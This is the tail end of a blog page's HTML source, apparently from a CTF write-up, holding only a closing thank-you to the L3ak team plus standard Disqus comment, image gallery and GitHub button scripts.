1504<hr />
1505
1506<p>Overall, great CTF, I enjoyed really much. Thanks to the L3ak team for the work and hope next year they manage to organize another CTF. Thanks for reading!</p>
1507
1508<p><br /></p>
1509
1510      </section>
1511    </div>
1512
1513    
1514    <div class="comments">
1515      <div id="disqus_thread"></div>
1516        
1516<script>
1517
1518        /**
1519        *  RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.
1520        *  LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/
1521        /*
1522        var disqus_config = function () {
1523        this.page.url = PAGE_URL;  // Replace PAGE_URL with your page's canonical URL variable
1524        this.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable
1525        };
1526        */
1527        (function() { // DON'T EDIT BELOW THIS LINE
1528        var d = document, s = d.createElement('script');
1529        s.src = 'https://kashmir54.disqus.com/embed.js';
1530        s.setAttribute('data-timestamp', +new Date());
1531        (d.head || d.body).appendChild(s);
1532        })();
1533        </script>
1533
1534        <noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a>
1535        </noscript>
1536
1537      </div>
1538    
1539
1540    
1541
1542    
1542<script>
1543    var elements = document.getElementsByClassName("lightgallery");
1544    for(var i=0; i<elements.length; i++) {
1545       lightGallery(elements[i]);
1546    }
1547    </script>
1547
1548    
1548<script async defer src="https://buttons.github.io/buttons.js"></script>
1548
1549  </body>
1550</html>
1551

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.